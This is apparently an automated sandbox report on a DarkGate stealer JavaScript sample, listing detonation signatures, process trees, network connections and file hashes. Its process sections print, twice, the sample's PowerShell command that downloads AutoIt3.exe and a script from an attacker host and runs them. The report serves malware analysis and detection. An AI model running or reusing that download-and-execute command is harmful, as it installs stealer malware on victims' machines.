Malware Analysis Report

2024-11-30 11:21

Sample ID 231101-z6cgysfa37
Target gentle.js
SHA256 4dce8991fb2942cb8443aba697311072aa25fc61b4b4186a54e7956c2bec6799
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4dce8991fb2942cb8443aba697311072aa25fc61b4b4186a54e7956c2bec6799

Threat Level: Known bad

The file gentle.js was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Downloads MZ/PE file

Blocklisted process makes network request

Executes dropped EXE

Checks computer location settings

Enumerates physical storage devices

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-01 21:19

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-01 21:19

Reported

2023-11-01 21:22

Platform

win7-20231025-en

Max time kernel

118s

Max time network

136s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"

Network

N/A

Files

memory/2168-4-0x000000001B200000-0x000000001B4E2000-memory.dmp

memory/2168-5-0x0000000002310000-0x0000000002318000-memory.dmp

memory/2168-6-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

memory/2168-7-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2168-8-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2168-9-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2168-10-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

memory/2168-11-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2168-12-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-01 21:19

Reported

2023-11-01 21:23

Platform

win10v2004-20231023-en

Max time kernel

139s

Max time network

200s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" krxeiths.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 126.20.238.8.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 89.254.221.88.in-addr.arpa udp
US 8.8.8.8:53 shsukadadyuikmmonk.com udp
US 82.117.254.52:2351 shsukadadyuikmmonk.com tcp
US 8.8.8.8:53 52.254.117.82.in-addr.arpa udp
US 8.8.8.8:53 226.145.62.23.in-addr.arpa udp
US 82.117.254.52:2351 shsukadadyuikmmonk.com tcp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 90.65.42.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpwzoobc.s4a.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/400-9-0x00000196D0BB0000-0x00000196D0BD2000-memory.dmp

memory/400-10-0x00007FFB872E0000-0x00007FFB87DA1000-memory.dmp

memory/400-12-0x00000196D0B50000-0x00000196D0B60000-memory.dmp

memory/400-11-0x00000196D0B50000-0x00000196D0B60000-memory.dmp

memory/400-13-0x00000196D0B50000-0x00000196D0B60000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/400-27-0x00007FFB872E0000-0x00007FFB87DA1000-memory.dmp

C:\tepp\krxeiths.au3

MD5 1a145f64835ef788884984eaaabc41cf
SHA1 86adae24703e4cc02791f5473163d19af9ce5374
SHA256 e6cb5e76a2cc9b9b60f9f6cdde65478675d03684a1973b673e1663ded9195c4d
SHA512 97fe04c68eff006a9628d43d71c515d822a129f0930d581ee2d9a3fe5d1fcdde291871946a8df8233ee3614cf392c85a0fe371051cb06343b3e92368ee8354e3

memory/2696-30-0x0000000000F30000-0x0000000001330000-memory.dmp

memory/2696-31-0x0000000004080000-0x0000000004215000-memory.dmp

memory/2696-32-0x0000000004080000-0x0000000004215000-memory.dmp